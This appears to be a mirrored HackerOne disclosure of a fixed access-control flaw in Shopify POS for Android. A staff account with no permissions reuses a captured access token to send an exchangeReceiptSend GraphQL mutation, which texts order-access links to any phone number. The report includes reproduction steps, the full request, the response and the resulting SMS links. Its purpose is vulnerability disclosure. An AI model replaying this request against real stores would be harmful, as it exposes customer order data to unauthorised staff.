Skip to content
Access control Disclosed report Intermediate

STAFF "No-Permissions" on the Store can retrieve the details Order via exchangeReceiptSend

langduvnsec Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 6.9 View original
  • Triaged in 10 days
  • Fixed in 16 days
  • Paid in 15 days
  • Disclosed after 48 days

I discovered a bug in an android mobile app that allowed STAFF No Permissions using Receipt Send to Mobile of any Order information in the Store.

#Steps to reproduce: 1) STAFF account is created and assigned "No Permissions" on a Shop by Owner/Admin 2) STAFF then login to shop. Notice that STAFF is not having any access to menus. 3) Log in to Shopify POS on Android. Access will not allow the application, but it will call /admin/api/unstable/shop.json before logging out. Now there will be an X-Shopify-Access-Token parameter. I use Telerik Fiddler to capture packets on the Shopify POS App. 4) Now STAFF triggers the below GraphQL request via a burp proxy.

POST https://langduvnsec.myshopify.com/admin/api/unversioned/graphql HTTP/1.1
X-Shopify-Access-Token: xxxxxxxxxxxxxxxxxxxxxxxx
user-agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G955N Build/NRD90M.G955NKSU1AQDC) Shopify POS 3.50.0/22606
Accept: application/json
Content-Type: application/json; charset=utf-8
Content-Length: 456
Host: langduvnsec.myshopify.com
Connection: Keep-Alive
Accept-Encoding: gzip

{ "query": "fragment ExchangeErrorFragment on ExchangeError { __typename code field message } mutation ExchangeReceiptSend($exchangeId: ID!, $input: ExchangeReceiptSendRecipientInput!) { __typename exchangeReceiptSend(exchangeId: $exchangeId, recipient: $input) { __typename exchange { __typename id } userErrors { __typename ... ExchangeErrorFragment } } }", "variables": {"exchangeId":"gid://shopify/Exchange/605028374","input":{"phone":"+84332947000"}}}

5) Replace your Exchange_ID and Phone number to get the details order access link. Please use your country's Phone Area Code to receive messages. #Response: ███████

{
  "data": {
    "__typename": "Mutation",
    "exchangeReceiptSend": {
      "__typename": "ExchangeReceiptSendPayload",
      "exchange": {
        "__typename": "Exchange",
        "id": "gid://shopify/Exchange/605028374"
      },
      "userErrors": []
    }
  },
  "extensions": {
    "cost": {
      "requestedQueryCost": 10,
      "actualQueryCost": 10,
      "throttleStatus": {
        "maximumAvailable": 300000.0,
        "currentlyAvailable": 299990,
        "restoreRate": 15000.0
      }
    }
  }
}

#SMS Response: ████ and ██████████

pVCSdKiitos, ett teit vaihdoit ostoksen kaupasta langduvnsec!  Alkuperinen tilaus:  langduvnsec.myshopify.com/26192052246/orders/8356d9c67229a59ae4634b94d514d548/authenticate?key=bbf35fac2c88bc3bd6b53cc14e2110f3 Uusi tilaus:  langduvnsec.myshopify.com/26192052246/orders/02418bf7e3604d4c5a09aba909193dc8/authenticate?key=38a448bc14b62c4cff031eb97e6ac186asfo

Impact

STAFF "No-Permissions" on the Store can retrieve the details Order via exchangeReceiptSend

The original report as published on HackerOne, by langduvnsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity access control bug in Shopify Mobile Applications, rated CVSS 6.9. HackerOne made it public on 24 August 2020. It paid $1,000.

About Access control

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.